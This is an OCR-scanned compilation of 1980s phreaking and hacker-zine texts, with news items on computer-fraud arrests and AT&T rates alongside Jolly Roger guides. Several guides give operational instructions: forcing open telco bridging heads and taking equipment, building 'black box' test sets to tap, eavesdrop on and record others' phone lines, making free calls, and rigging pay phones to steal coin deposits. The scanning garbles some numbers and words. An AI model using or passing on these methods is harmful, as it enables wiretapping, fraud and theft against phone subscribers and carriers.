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Nine teenagers from Mount Lebanon Junior-Senior High School near Pittsburg, PA, were arrested recently and charged with computer fraud. 

The juveniles allegedly used home computers to gain illegal access to a credit card authorization center. They obtained valid credit card 
numbers and used them to purchase thousands of dollars worth of mail order merchandise, the police said. 

Freedman says it appears the hackers used some relatively sophisticated techniques in the scheme, including specially written software that 
enabled them to bypass security controls and navigate through credit records to obtain key information. 

Police officials say that the hackers also obtained access codes from pirate bulletin board systems to make free long distance calls and gain 
access to various business and government computers. 



The arrests were the result of a 6 week investigation by the Secret Service and the IVIount Lebanon police. The police were tipped off by 
parents who were suspicious about how their son managed to obtain a skateboard valued at $140. 

The Secret Service was also involved in investigations that led to the arrests of several hackers in San Francisco and New York last July. 

Secret Service spokesman William Corbett says that although some reports have portrayed the hackers as part of a national crime ring, the 
cases are unrelated. "It's just that a few of these computers hacking cases came to a head at about the same time," he says. 

Federal Legislation enacted in 1 984 gives the Secret Service, part of the Department of the Treasury, a major role in investigating computer 
crimes. Under the federal Computer Fraud and Abuse Act of 1986, computer fraud is a felony that carries a maximum penalty of 5 years for 
the first offense, and 1 0 years for the second. Displaying unauthorized passwords on hacking bulletin boards carries a maximum penalty of 1 
year in prison for the first offense, and 10 years for the second. 

German Teens Crack NASA 

Washington, D.C. -- A group of West German teenagers from the Chaos Computer Club penetrated a NASA network recently, saying they 
were doing it to "test the security." 

What they got into was SPAN Net, a computer network with about 700 notes, which is actually based at the Goddard Space Center in 
Maryland. All that's in there is unclassified data, space science information, and post-flight data analysis. "Anyone with NASA related 

research can apply for access to SPAN" says a spokesman, who adds that the network runs on DEC VAX hardware. "We picked up three 
attempts to gain access and put in security precautions so it wouldn't happen." His personal opinion is, "We're happy that they couldn't get 
back in, and decided to go public." He also added that NASA has many other networks, many of the classified and "probably impenetrable. But I 
do not want to challenge anybody." 

How'd they get h? Probably they got a West German NASA licensee, which gave them a visitor's pass, then they created new passwords 
with unlimited security for themselves, after which getting around the network was easy. 

91 ■ Remote Informer Issue #4 by Tracker, Norman Bates, Ye Cap'n 

Switching Systems 

There are currently three different forms of switching systems that are present in the United States today. Step by Step (SxS), Crossbar, and 
the Electronic Switching System (ESS) make up the group. Phreaks have always been a little tentative when it comes to "doing their work" 
once they have heard about effects of switching systems on their hobby. After researching this topic, I have found that there really is not that 
much to be worried about. Read on, while I share with you information which I have compiled about all of these switching systems and their 

distinct features. 

The first switching system that was used in the country was called Step by Step. This was adopted in 1918 by Bell, and until 1978, they had 
over 53% of all their exchanges using Step by Step (SxS). This system is known for it's long, confusing train of switches that are used for its 
step by step switching. 

Step by Step has many disadvantages to phone users. The switch train becomes jammed fairly often, and it causes calls to be blocked. Also, 
SxS does not allow the use of DTMF dialing. This accounts for some of the areas in the United States that cannot have touch tone dialing 
abilities. A tremendous amount of electricity and maintenance needs to accompany the SxS switching system, which makes it even more 
impratical. All in all, this is probably the most archaic switching system around. 

There are a number of ways to see if you are on SxS. You will notice that there are no pulsing digits after dialing. Most sources say that the 
phone company will sound like many typewriters. SxS does not offer features such as speed calling, call fonwarding, three-way calling, call 
waiting, and other such services. Pay phones on SxS also will want your money before you receive a dial tone. This adds to the list of 
disadvantages labeled to that of the Step by Step switching systems. 

Another type of switching system that is prevalent in the United States is Crossbar. Crossbar has been Bell's primary switcher after 1960, 
and three types of it exists. Number 1 Crossbar (IxB), Number 4 Crossbar (4xB), and the Number 5 Crossbar (5xB). In Crossbar, a switching 
matrix is used for all the phones in an area, and when someone calls, the route is determined and is met up with the other phone. This matrix is 
set-up in horizontal and vertical paths. Unlike other switching systems, in my research, I could not come up with any true and definite 
distinguishing features of the Crossbar switching systems. 

The Electronic Switching System (ESS) is yet another switching system used in the United States and the most used of all three switching 
systems. ESS is an extremely advanced and multi-faced type of switching system, and is feared by marauders of the phone company 
everywhere. With ESS, your phone company is able to know every digit dialed (including mistakes), who you call, when you called, and how 
long you were connected. ESS is also programmed to print out the numbers of people who make excessive calls to WATS numbers (800 
services) or directory assistance. This feature of ESS is called 800 Exceptional Calling Report, and has spelled the end of some forms of 
continuous code hacks to certain extenders. ESS can also be programmed to print logs of who called and abused certain numbers as well. 
Everything is kept track of in its records. 



The aforementioned facts show that ESS has made the jobs of organizations such as the FBI, NSA, and other phone company security forces 
easier. Tracing can be done in a matter of microseconds, and the result will be conveniently printed out on the monitor of a phone company 
officer. ESS is also programmed to pick up any "foreign tones" on the phone line such as the many varied tones emulated by boxes. 

ESS can be identified by a few features common in it. The 91 1 emergency service is covered in the later versions of ESS. Also, you are given 
the dial tone first when using a pay phone unlike that of SxS. Calling services like call fonwarding, speed calling, and call waiting are also 
common to ESS. One other feature common to ESS is ANI (Automatic Number Identification) for long distance calls. As you can see, ESS is 
basically the zenith of all switching systems, and it will probably plague the entire country by the early 1 990's. Soon after, we should be 
looking fonward to a system called CI-ASS. This switching system will contain the feature of having the number of the person that is calling 
you printed out on your phone. 

What have I concluded about these switching systems? Well, they are not good enough. I know a few people employed by the phone 
company, and I know for a fact that they do not have enough time these days to worry about code users, especially in large, metropolitan 
areas. So, I will go out on a limb here, and say that a large portion of people will never have to worry about the horrors of ESS. 

New Gizmo Can Change Voice Gender 

The most amazing device has turned up in the new Hammacher Schlemmer catalog: the telephone voice gender changer. What it does is 
change the pitch of your voice from, say, soprano to bass - a most efficient way to dissuade an obscene phone caller just as he's getting 
warmed up. That is not the same as running a 45 rpm. record at 33. In digital conversion, the pitch can be changed without altering the speed. 

The device runs on a 9volt batter and attaches to the telephone mouth piece with a rubber coupler that takes but a moment to slip on and off. 
With the changer switched on, says Lloyd Gray, a Hammacher Schlemmer technical expert, "the effect is similar to what you hear when they 
interview an anonymous woman on television and disguise her voice by deepening it." "It's better for changing a woman's voice to a man's 
than the other way around," Gray said. A man can use it to raise the pitchof his voice, but he still won't sound like a woman." 

A man could, however, use the changer to disguise his voice. But with the device set on high. Gray's voice still could be identified as his own. 
On low, his normal tenor became so gravel like that the words were unintelligible. 

92. Remote Informer Issue #5 by Tracker, Norman Bates, and Ye Cap'n 

AT&T Rates 

WASHINGTON - American Telephone & Telegraph Co. proposed Tuesday to lower its interstate long-distance rates by an average of 3.6% to 
reflect reduced costs in connecting to the local telephone network. The largest decrease -- 6.3% - would be seen in day time prices "Because 
of the need to make those rates more competitive," AT&T said. 

Rates for calls made during evening hours would drop 2.2% and calls made during the late night and weekends would be cut by 0.8%, the 
company said. The rate reductions would take effect Jan. 1 , if they are approved by the Federal Communications Commission. Reacting to the 
proposed price cuts, UC\ Communications Corp. and US Sprint Communications Co., the nation's second -largest and third-largest long distance 
companies respectively, said their response would depend on what the FCC finally approves but both said they intended to remain competitive 
with AT&T. AT&T, the nation's largest long-distance company, proposed to the FCC that its rates drop as much as $800 million, but AT&T said 
the exact amount will depend on the access charges the FCC allows the local telephone companies to collect from long disEince carriers, 
which must pay the fees to hook into the phone local network. 

AT&T has challenged the new access rates filed by the regional Bell operating companies, contending they are more than $1 billion too high. In 
proposing its new rates, the long-distance leader told the FCC it expects local companies' access fees to fall by at least $200 million - which 
would amount to an average rate reduction of less than 1%. But the company said it believes the FCC will order an additional $600 million in 
reductions based on AT&T's challenge. 

"We're confident the FCC will recognize that access charges filed by the local telephone companies need to be substantially reduced, which 
would mean more savings for our customers," said Larry Garfinkel, AT&T vice president for marketing. He said the company filed its proposed 
rates based on disputed charges because "we wanted to let the public react ... and further to let the FCC have full knowledge of where we 
were heading given our expectation that we had a valid basisfor our dispute." 

AT&T's long-distance rates have fallen by about 34% since the company was stripped of its local operating companies by an antitrust decree 
nearly four years ago. Since then, phone rate payers have been paying a larger share of the 
costs of maintaining the local network through monthly subscriber line charges, 

now $2.60 for residential customers. That has reduced the long-distance companies' share of local network expenses, which they pay in the 
form of access charges. Jack Grubman, a telephone analyst with PaineWebber Inc., said AT&T's proposal targets business customers 
because "that's where the competition is and where the better (profit) margins are." In addition, it aims to keep the pressure on competition in 
international calling by extending discounts to more customers. Grubman added that, if the company's rate proposal is approved by the FCC, he 
would expect no further cuts in AT&T rates in 1988. Wendell Lind, AT&T administrator of rates and tariffs, said the cuts for business and 
residential customers are about the same because business cuts are offset by a proposed $128 million increase in AT&T's private line rates. 

AT&T is the only long-distance company whose rates are regulated by the FCC, but its prices set the pace for the industry. Though AT&T is far 
larger than any of its competitors, its market share has been declining since divestiture and the company now says it serves about 75 percent 



of the market. In addition to tlie reductions in basic long-distance rates, AT&T proposed cutting prices by 5% and 5.7% for its Pro-America 
calling plans. The company also proposed to reduce prices by 2.9 percent for its 800 Service customers and 4.4 percent for WATS customers, 
although it would increase the monthly access line charges for those plans by $3.20 to reflect higher special access charges filed by the local 
phone companies. 

US Sprint Operator Service Traffic Increases 40% 

ORLANDO, Fla. - US Sprint Wednesday announced its long distance operators who began saying, "May I help you?" just five months ago, are 
now handling 3« million calls a month. 

The fiber-optic long-distance carrier, offering the only operator service alternative to AT&T has experienced a 40 percent growth in operator 
service calls since it announced its sen/ice July 1 . Amanda Weathersby, US Sprint vice president of product marketing, said Tuesday, "More 
and more people are taking advantage of our call completion assistance and alternative billing arrangements. "Customer surcharges are the 
same as AT&T with the added benefit of US Sprint's fiber-optic quality and lower long-distance rates." US Sprint currently offers person-to- 
person, station-to-station, call completion and collect calling. US Sprint has announced an agreement with US WEST Service Link that will allow 
anyone to call on US Sprint and charge their calls to a Regional Bell Operating Co. calling card beginning in first quarter 1988. 

"Previously, our operator service was available only on pre-subscribed US Sprint phones and recently we added operator assistance for US 
Sprint FON CARD customers," Weathersby said. "With this new agreement, we'll be able to expand our operator service to markets such as 
pay phones, hospitals, and hotels/motels." The newest 24-hour operator service center in Dallas began operations on Oct. 5. US Sprint's other 
operator service centers are in: Cherry Hill, NJ; Atlanta; Lombard, IL and Reno, NV. US Sprint is a joint venture of United Telecommunications 
Inc. of Kansas City, MO and GTE Corp. of Stamford, Conn. 

Pacific Bell Pursuing Calling Card Thief 

SAN FRANCISCO- (BW) -Pacific Bell is warning consumers to protect their telephone calling cards like any other credit card in the wake of a 
series of frauds by people posing as phone company employees. A Pacific Bell spokesman says customers in the 213, 805 and 916 area 
codes are being victimized by someone who says he is a telephone company employee investigating calling card fraud. The individual calls 
people at home at odd hours, asking for their calling card numbers. He then sdls the numbers to people who use the numbers to make long 
distance phone calls. 

As recently as Monday of this week, 1 80 long distance calls were billed to a Sacramento area resident who had given his number to the thief 
just three hours earlier. According to Pacific Bell, this kind of scheme and other forms of calling card fraud cost telephone customers 
nationwide half a billion dollars a year. The company offered these tips to consumers to avoid becoming a victim 
of calling card fraud: 

Never give your calling card number or personal identification number to anyone. Any telephone company employee with a legitimate need to 
know the number has access to it. Treat your calling card like any other credit card. Report its loss immediately by calling the 800 number on 
the back of the card 800-621-0430. If you receive a suspicious call regarding your telephone calling card, report it by calling the 800 number 
on the back of the card. If you receive a call from someone claiming to be a telephone company employee and asking for your calling card 
number, ask for a name and number to call back. Then call the local Pacific Bell business office to report the incident. 

One suspect was arrested in Southern California last week by a quick thinking customer who did just that. Pacific Bell immediately contacted 
the local police department. A suspect holding seven stolen calling card numbers was arrested minutes later. Pacific Bell and long-distance 
telephone companies will credit customers for calling card charges determined to be fraudulent. Pacific Bell is a subsidiary of Pacific Telesis 
Group, a diversified telecommunications corporation based in San Francisco. 

93. The Phreaker's Guide to Loop Lines by Ttie Joiiv Roger 

A loop is a wondrous device which the telephone company created as test numbers for telephone repairmen when testing equipment. By 
matching the tone of the equipment with the tone of the loop, repairmen can adjust and test the settings of their telephone equipment. A loop, 
basically, consists of two different telephone numbers. Let's use A and B as an example. Normally if you call A, you will hear a loud tone (this 
is a 1 004 hz tone), and if you call B, the line will connect, and will be followed by silence. 

This is the format of a loop line. Now, if somebody calls A and someone else calls B-Violal-A and B loop together, and one connection is 
made. Ma Bell did this so repairmen can communicate with each other without having to call their own repair office. They can also use them to 
exchange programs, like for ANA or Ringback. Also, many CO's have a "Loop Assignment Center". If anyone has any information on these 
centers please tell me. Anyway, that is how a loop is constructed. From this information, anyone can find an actual loop line. Going back to the 
A and B example, Note: the tone side and the silent side can be either A or B. Don't be fooled if the phone company decides to scramble them 
around to be cute. As you now know, loops come in pairs of numbers. Usually, rght after each other. 

For example: 81 7-972-1890 
and 
817-972-1891 

Or, to save space, one loop line can be written as 81 7-972- 1 890/1 . This is not always true. Sometimes, the pattern is in the tens or hundreds, 
and, occasionally, the numbers are random. In cities, usually the phone company has set aside a phone number suffix that loops will be used 



for. Many different prefixes will correspond with that one suffix. In Arlington, Texas, a popular suffix for loops is 1893 and 1894, and a lot of 
prefixes match with them to make the number. 

For Example: 817-460-1893/4 
817-461-1893/4 
817-465-1893/4 

817-467-1893/4 
817-469-1893/4 
...are all loops... 
or a shorter way to write this is: 
81 7-xxx- 1893/4 
xxx= 460, 461 , 465, 467, 469 

Note: You can mix-and-match a popular suffix with other prefixes in a city, and almost always find other loops or test numbers. 

Note: For Houston, the loop suffixes are 1499 and 1799. And for Detroit it's 9996 and 9997. When there are a large number of loops with the 
same prefix format, chances are that many loops will be inter-locked. Using the above example of Arlington loops again, (I will write the 
prefixes to save space) 460, 

461 , and 469 are interlocked loops. This means that only one side can be used at 

a given time. This is because they are all on the same circuit. To clarify, if 817-461-1893 is called, 817-460 and 469-1893 cannot be called 
because that circuit b being used. Essentially, interlocked loops are all the same line, but there are a variety of telephone numbers to access 
the line. 

Also, if the operator is asked to break in on a busy loop line he/she will say that the circuit is overloaded, or something along those lines. This 
is because IVIa Bell has taken the checking equipment off the line. However, there are still many rarely used loops which can be verified and 
can have emergency calls taken on them. As you have found out, loops come in many types. Another type of loop is a filtered loop. These are 
loop lines that the tel co has put a filter on, so that normal human voices cannot be heard on either line. However, other frequencies may be 
heard. It all depends on what the tel co wants the loop to be used for. If a loop has gotten to be very popular with the local population or used 
frequently for conferences, etc. the tel co may filter the loop to stop the unwanted "traffic". Usually, the filter will be removed after a few 
months, though. 



94. How Ma Bell Works by The Jolly Roger 

In this article, I will first describe the termination, wiring, and terminal hardware most commonly used in the Bell system, and I will include 
section on methods of using them. 

LOCAL NETWORK 

The local telephone network between the central office/exchange and the telephone subscribers can be briefly described as follows: 

From the central office (or local exchange) of a certain prefix(es), underground area trunks go to each area that has that prefix (Usually more 
than one prefix per area.) At every few streets or tract areas, the underground cables surface. They then go to the telephone pole (or back 
underground, depending on the area) and then to the subscribers house (or in the case of an apartment building or mutli-line business, to a 
splitter or distribution box/panel). Now that we have the basics, I'll try and go in-depth on the subject. 

UNDERGROUND CABLES 

These are sometimes inter-office trunks, but usually in a residential area they are trunk lines that go to bridging heads or distribution cases. The 
cables are about 2-3 inches thick (varies), and are either in a metal or pvc-type pipe (or 

similar). Rarely (maybe not in some remote rural areas) are the cables just 'alone' in the ground. Instead they are usually in an underground 
cement tunnel (resembles a small sewer or storm drain.) The manholes are heavy and will say 'Bell system' on them. They can be opened with 
a « inch wide crowbar (Hookside) inserted in the top rectangular hole. There are ladder rungs to help you climb down. You will see the cable 
pipes on the wall, with the blue and white striped one being the inter-office trunk (at least in my area). The others are local lines, and are 
usually marked or color coded. There is almost always a posted color code chart on the wall, not to mention Telco manuals describing the 
cables and terminals, so I need not get into detail. Also, there is usually some kind of test equipment, and often Bell test sets are left in there. 

BRIDGING HEADS 

The innocent-looking grayish-green boxes. These can be either trunk bridges or bridging for residences. The major trunk bridging heads are 
usually larger, and they have the 'Western Electric' logo at the bottom, whereas the normal bridging heads (which may be different in some 
areas -depending on the company you are served by. GTE B.H.'s look slightly different. Also, do not be fooled by sprinkler boxesi) They can be 
found in just about every city. To open a bridging head: if it is locked (and you're feeling destructive), put a hammer or crowbar (the same one 
you used on the manhole) in the slot above the top hinge of the right door. Pull hard, and the door will rip off. Very effective! If it isn't locked (as 
usual), take a 7/8 inch hex socket and with it, turn the bolt about 1/8 of a turn to the right (you should hear a spring release inside). Holding the 
bolt, turn the handle all the way to the left and pull out. To Check for a testset (which are often left by Bell employees), go inside - First check 
for a test-set (which are often left by Bell employees). There should be a panel of terminals and wires. Push the panel back about an inch or 
so, and rotate the top latch (round with a flat section) downward. Release the panel and it will fall all the way forward. There is usually a 
large amount of wire and extra terminals. The test-sets are often hidden here, so don't overlook it (Manuals, as well, are sometimes placed in 



the head). On the right door is a metal box of ailigator clips. Take a few (Compliments of Bell.). On each door is a useful little round metal 
device. (Says 'insert gently' or 'clamp gently - do not overtighten' etc..) On the front of the disc, you should find two terminals. These are for 
your test set. (If you don't have one, dont despair - I'll show you ways to make basic test sets later in this article). Hook the ring (-) wire to the 
Y terminal; and the tip (+) wire to the other. (By the way, an easy way to determine the correct polarity is with a 1 «v LED. Tap it to the term, 
pair, if it doesn't light, switch the poles until it does. When it lights, find the longer of the two LED poles: This one will be on the tip wire (+). 
Behind the disc is a coiled up cord. This should have two alligator clips on it.. Its very useful, because you don't have to keep connecting and 
disconnecting the tone (test set) itself, and the clips work nicely. On the terminal board, there should be about 10 screw terminals per side. 
Follow the wires, and you can see which cable pairs are active. Hook the clips to the terminal pair, and you're set! Dial out if you want, or just 
listen (If someone's on the line). Later, I'l! show you a way to set up a true 'tap' that will let the person dial out on his line and receive calls as 
normal, and you can listen in the whole time. More about this later... On major prefix-area bridging heads, you can see 'local loops', which are 
two cable pairs (cable pair = ring+tip, a tone line) that are directly connected to each other on the terminal board. Th ese 'cheap loops' as they 
are called, do not work nearly as well as the existing ones set up in the switching hardware at the exchange office. (Try scanning your 
prefixes 'OOxx to 99xx #'s.) The tone sides will announce themselves with the 1008 hz loop tone, and the hang side will give no response. The 
first person should dial the 'hang' side, and the other person dial the tone side, and the tone should stop if you have got the right loop.) If you 
want to find the number of the line that you're on, you can either try to decipher the 'bridging log' (or whatever), which is on the left door, if that 
doesn't work, you can use the following: 

ANI # (Automatic Number ID) 

This is a Telco test number that reports to you the number that you're calling from (It's the same, choppy 'Bell bitch' voice that you get when you 
reach a disconnected number) 
For the: 

213 NPA- Dial 1223 
408 NPA - Dial 760 
914 NPA - Dial 990 

These are extremely useful when messing with any kind of line terminals, house boxes, etc. Now that we have bridging heads wired, we can 
go on... (don't forget to close and latch the box after all... Wouldn't want GE and Telco people mad, now, would we?) 



"CANS"- Telephone Distribution Boxes 
Basically, two types: 

1 .Large, rectangular silver box at the end of each street. 
2.Black, round, or rectangular thing at every telephone pole. 

Type 1 - This is the case that takes the underground cable from the bridge and runs it to the telephone pole cable (The lowest, largest one on 
the telephone pole.) The box is always on the pole nearest the bridging head, where the line comes up. Look for the 'Call before you Dig - 
Underground cable' stickers.. The case box is hinged, so if you want to climb the pole, you can open it with no problems. These usually have 2 
rows of terminal sets. You could try to impersonate a Telco technician and report the number as 'new active' (giving a fake name and fake 
report, etc.) I don't recommend this, and it probably won't (almost positively won't) work, but this is basically what Telco linemen do.) 

Type 2 - This is the splitter box for the group of houses around the pole (Usually 4 or 5 houses). Use it like I mentioned before. The terminals 
(8 or so) will be in 2 horizontal rows of sets. The extra wires that are just 'hanging there' are provisions for extra lines to residences (1 extra 
line per house, that's why the insane charge for line #3!) If its the box for your house also, have fun and swap lines with your neighbor! 
'Piggyback them and wreak havoc on the neighborhood (It's eavesdropping time...) Again, I don't recommend this, and its difficult to do it 

correctly. Moving right along... 

APARTMENT / BUSINESS MULTI-LINE DISTRIBUTION BOXES 

Found outside the building (most often on the right side, but not always... Just follow the wire from the telephone pole) or in the basement. It 

has a terminal for all the lines in the building. Use it just like any other termination box as before. Usually says 'Bell system' or similar. Has up to 
20 terminals on it (usually.) the middle ones are grounds (forget these). The wires come from the cable to one row (usually the left one), with 
the other row of terminals for the other row of terminals for the building fone wire pairs. The ring (-) wire is usually the top terminal if the set in 
the row (1 of 1 0 or more), and the tip is 

in the clamp/screw below it. This can be reversed, but the cable pair is always terminated one-on-top-of-each- other, not on the one next to it. 
(I'm not sure why the other one is there, probably as a provision for extra lines) Don't use it though, it is usually to close to the other terminals, 
and in my experiences you get a noisy connection. 

Final note: Almost every apartment, business, hotel, or anywhere there is more than 2 lines this termination lines this termination method is 
used. If you can master this type, you can be in control of many things... Look around in your area for a building that uses this type, and 
practice hooking up to the line, etc. As an added help, here is the basic 'standard' color-code for multi-line terminals/wiring/etc... 

Single line: Red = Ring 
Green = Tip 
Yellow = Ground * 



•Connected to the ringer coil in individual and bridged ringer phones (Bell only) Usually connected to the green (Tip) 



Ring (-) = Red 

White/Red Stripe 
Brown 

White/Orange Stripe 
Blacl</Yellow Stripe 
Tip (+) = Green (Sometimes yellow, see above.) 
Wiiite/Green Stripe 
Wlnite/Blue Stripe 
Blue 

Black/White Stripe 
Ground = Black 
Yellow 

RESIDENCE TERMINAL BOX 

Small, gray (can be either a rubber (Pacific Telephone) or hard plastic (AT&T) housing deal that connects the cable pair from the splitter box 
(See type 2, above) on the pole to your house wiring. Only 2 (or 4, the 2 top terminals are hooked in parallel with the same line) terminals, and 
is very easy to use. This can be used to add more lines to your house or add an external line outside the house. 

TEST SETS 

Well, now you can consider yourself a minor expert on the terminals and wiring of the local telephone network. Now you can apply it to 

whatever you want to do.. Here's another helpful item: 

How to make a Basic Test-Set and how to use it to dial out, eavesdrop, or seriously tap and record line activity. These are the (usually) orange 
hand set tones used by Telco technicians to test lines. To make a very simple one, take any Bell (or other, but I recommend a good Bell tone like 
a princess or a trimline. GTE flip tones work excellently,though..) tone and follow the instructions below. 

Note: A 'black box' type tone mod will let you tap into their line, and with the box o, it's as if you weren't there. They can receive calls and dial 
out, and you can be listening the whole time! Very useful. With the box off, you have a normal fone test set. 

Instructions: 

A basic black box works well with good results. Take the cover off the fone to expose the network box (Bell type fones only). The <RR> 
terminal should have a green wire going to it (orange or different if touch tone - doesn't matter, its the same thing). Disconnect the wire and 
connect it to one pole of an SPST switch. Connect a piece of wire to the other pole of the switch and connect it to the <RR> terminal. Now 
take a 1 0kohm « watt 1 0% resistor and put it between the <RR> terminal ad the <F> terminal, which should have a blue and a white wire going 
to it (different for touch tone). It should look like this: 

Blue wire -<F> 

! 

— White wire I 

! 

1 0k Resistor 
! 

! 

--Green wire ~ I— -<RR> 
! ! 
SPST 

What this does in effect is keep the hookswitch / dial pulse switch (F to RR loop) open while holding the line high with the resistor. This gives 
the same voltage effect as if the fone was 'on-hook', while the 1 0k ohms holds the voltage right above the 'off hook' threshold (around 22 volts 
or so, as compared to 15-17 or normal off hook 48 volts for normal 'on-hook'), giving Test Set Version 2. 

Another design is similar to the 'Type 1 ' test set (above), but has some added features: 

From >- Tip- — <To Test 

Alligator set 

Clip > Ring--— <phone 

! ! 

x ! 

! ! 

0 I 

1 X— RRRRR-! 
I X I 

I— X I 
X— -0 1 



X = Spst Switch 

0 = Red LOD 0 = Green LED 
RRRRR= 1 .8k « watt xxxx= Dpst switch 

resistor 

When the SPST switch in on, the LED will light, and the fone will become active. The green light should be on. If it isn't, switch the dpst. If it still 
isn't, check the polarity of the line and the LEDs. With both lights on, hang up the fone. They should all be off now. Now flip the dpst and pick up 
the fone. The red LED should be on, but the green shouldn't. If it is, something is wrong with the circuit. You wont get a dial tone if all is correct. 
When you hook up to the line with the alligator clips (Assuming you have put this circuit inside our fone and have put alligator clips on the ring 
and tip wires (As we did before)) you should have the spst #1 in the off position. This will greatly reduce the static noise involved in hooking 
up to a line. The red LED can also be used to check if you have the correct polarity. With this fone you will have the ability to listen in on all 
audible line activity, and the people (the 'eavesdroppers') 

can use their fone as normal. Note that test sets #1 and #2 have true 'black boxes', and can be used for free calls (see an article about black 
boxes). 

Test Set Version 3 

Using a trimline (or similar) phone, remove the base and cut all of the wire leads off except for the red (ring -) and the green (tip +). Solder 
alligator clips to the lug. The wire itself is 'tinsel' wrapped in rayon, and doesn't solder well. Inside the one handset, remove the light socket (if it 
has one) and install a small slide or toggle switch (Radio Shack's micro-miniature spst works well). Locate the connection of the ring and the tip 
wires on the PC board near where the jack is located at the bottom of the handset. (The wires are sometimes black or brow instead of red and 

green, respectively). Cut the foil and run 2 pieces of wire to your switch. In parallel with the switch add a uf 200 VDC capacitor (mylar, 
silvered mica, ceramic, not an electrolytic). When the switch is closed, the handset functions normally. With the switch in the other position, 
you can listen without being heard. 

Note: To reduce the noise involved in connecting the clips to a line, add a switch selectable 1000 ohm « watt resistor in series with the tip wire. 
Flip it in circuit when connecting, and once on the line, flip it off again, (or just use the 'line disconnect' type switch as in the type 2 test set 
(above)). Also avoid touching the alligator clips to any metal parts or other terminals, for I causes static on the line and raises people's 
suspicions. 

RECORDING 

If you would like to record any activity, use test set 1 or 2 above (for unattended recording of all line activity), or just any test set if you are 
going to be there to monitor when they are dialing, talking, etc. Place a telephone pickup coil (I recommend the Becoton T-5 TP coil or equivalent) 
onto the test set, and put the TP plug into the mic. jack of any standard tape recorder. Hit play, rec, and pause. Alternate pause when you want 
to record (I don't think anyone should have any difficulty with this at all...) Well, if you still can't make a test set or you don't have the parts, 
there's still hope. 

Alternate methods: 

1 .Find a bell test set in a manhole or a bridging head and 'Borrow it indefinitely'... 

2.Test sets can be purchased from: 
Techni-Tool 
5 Apollo Road 
Box 368 

Plymouth Meeting PA., 19462 
Ask for catalog #28 

They are usually $300 - $600, and are supposed to have M-F dialing capability as well as TT dialing. They are also of much higher quality than 
the standard bell test sets. If you would like to learn more about the subjects covered here, I suggest: 

1 .Follow Bell trucks and linemen or technicians and ask subtle questions, also try 61 1 (repair service) and ask questions.. 
2.Explore your area for any Bell hardware, and experiment with it. Don't try something if you are not sure what you're doing, because you 
wouldn't want to cause problems, would you? 



95. Getting Money out of Pay Phones by The Jolly Roger 

I will now share with you my experiences with pay telephones. You will discover 

that it is possible to get money from a pay phone with a minimum of effort. Theory: IVIost pay phones use four wires for the transmission of 
data and codes to the central office. Two of them are used for voice (usually red and green), one is a ground, and the last is used with the 
others for the transmission of codes. 

It is with this last wire that you will be working with. On the pay phone that I usually did this to, it was colored purple, but most likely will be 
another color. What you will do is simply find a pay phone which has exposed wires, such 

that one of them can be disconnected and connected at ease without fear of discovery. You will discover that it is usually a good idea to have 
some electrical tape along with you and some tool for cutting this tape. Through trial and error, you will disconnect one wire at a time starting 
with the wires different than green and red. You do want a dial tone during this operation. What you want to disconnect is the wire supplying 



the codes to the telephone company so that the pay phone will not get the 'busy' or 'hang-up' command. Leave this wire disconnected when 
you discover it. What will happen: Anytime that someone puts any amount of money into the pay phone, the deposit will not register with the 
phone company and it will be held in the 'temporary' chamber of the pay phone. Then, (a day later or so) you just come back to the phone, 
reconnect the wire, and click the hook a few times and the phone will dump it all out the chute. (What is happening is that the 'hang-up' code 
that the phone was not receiving due to the wire being disconnected suddenly gets the code and 

dumps its' 'temporary' storage spot.) You can make a nice amount of money this way, but remember that a repairman will stop by every few 
times it is reported broken and repair it, so check it at least once a day. Enjoy and have fun.. Many phones I have done this to, and it works well 
with each.. 



96. Computer Based PBX by The Jolly Roger 

To get a better understanding of what a pbx can do, here are a few basic fundamentals. The modern pbx is a combined computer, mass 
storage device, and of course a switching system that can: 

1 .Produce itemized, automated billing procedures, to allow the identification and management of toll calls, [hahaha] 
2.Combine daytime voice grade communication circuits into wideband data channels for night time high speed data transfers. 
S.Handles electronic mail [including office memos]. 

4.Combine voice channels into a wideband audio/visual conference circuit, with the ability to xfer and capture slides, flipcharts, pictures of any 
kind. 

Both the external and internal calling capacity of the pbx system must be carefully considered because many business operations run a very 
high ratio of internal station to station dialing and a low capacity system will not handle the requested traffic load. A critical factor is the number 
of trunks and the central office facilities that are used for outside connections. Another is the number of junctions or [links] that make up the 
internal calling paths. To understand the services available on a typical computer run pbx it is necessary to introduce the subject of time 
division switching. In a time division switching network all connections are made via a single common bus called (of course) a 'time-division 
bus'. Every line trunk that requires a connection with another is provided with a port circuit. All port circuits have access to the time division 
bus through a time division switch, [when two ports require connection, their time division switches operate at a very high frequency (16,000 
times per second.) This technique, which is called 'speech sampling', allows many simultaneous connections over the same time division bus. 
Each connection is assigned a time inten/al, the 'time slot', and the number of time slots identifies the number of simultaneous connections 
among ports.] The next critical item is circuit packs. The system elements that we will be describing in future tutorials [lines/trunks/switches, 
memory and control] are contained on plug in circuit packs. Each line circuit pack contains a number of lines, in example, four. But the 
assignment of station numbers to actual phone line circuits is flexible. The system memory Is contained in circuit packs which provide the call 
processing functions. The circuit packs are held in small frames called 'carriers'. Within each carrier, the circuit packs are plugged into 
positions: the 'slots'. Every circuit can be addressed by, say a five digit number which tells its location by carrier-slot-circuit.... [starting to get 
the idea?] There can be three types of carriers in a modern pbx system: 

• O line carriers 

• 0 trunk carriers 

• O control carriers 

The line carriers contain station lines. In AT&T's "dimension" model, for example, a total of 52 to 64 lines are provided. The trunk carriers contain 
slots for 1 6 trunk circuit packs. The control carrier includes processor, memory, control circuitry, data channels for attendant console control 
and traffic measurement outputs. Pbx systems will directly reflect the types of services offered at the c.o. 

0 ccsa 
occis 

0 picturephones [sooner than you think my phriends] 

Common control switching arrangements (ccsa) permit any unrestricted telephone station to call any other internal or external system station 
by using the standard seven digit number. Alternate routing is a feature of ccsa service the inter-facility, alternate routed calling paths are 
accomplished at the telephone company central office level, not at the pbx level. A system of interest to large scale telephone users is common 
channel interoffice signaling ccis. Typically, this technique employs common channels to carry all inter-facility signaling instructions: dial pulses, 
on hook (idle), off hook (busy),and so on, between two switching centers, [getting warm]. Ccis replaces older methods of interoffice signaling 
such as 'in band' and 'out of band' techniques. B/ the way, real phreaks are selling their boxes to idiots who still think they're worth a lot.. .the 
former (in band) transmits signaling data within the normal conversation bandwidth. It's shortcoming is that false information may be transmitted 
due to unique tone or noise combinations set up in the talking path, [this is the official reasoning]. Out of band signaling techniques placed the 
interoffice data in special channels, generally adjacent to and immediately above the voice path. To preserve interchannel integrity, out of band 
signaling requires very efficient filtering or greater 'band guard' separation between channels. 



97. PC-Pursuit Port Statistics by PC-Pursuit Users 



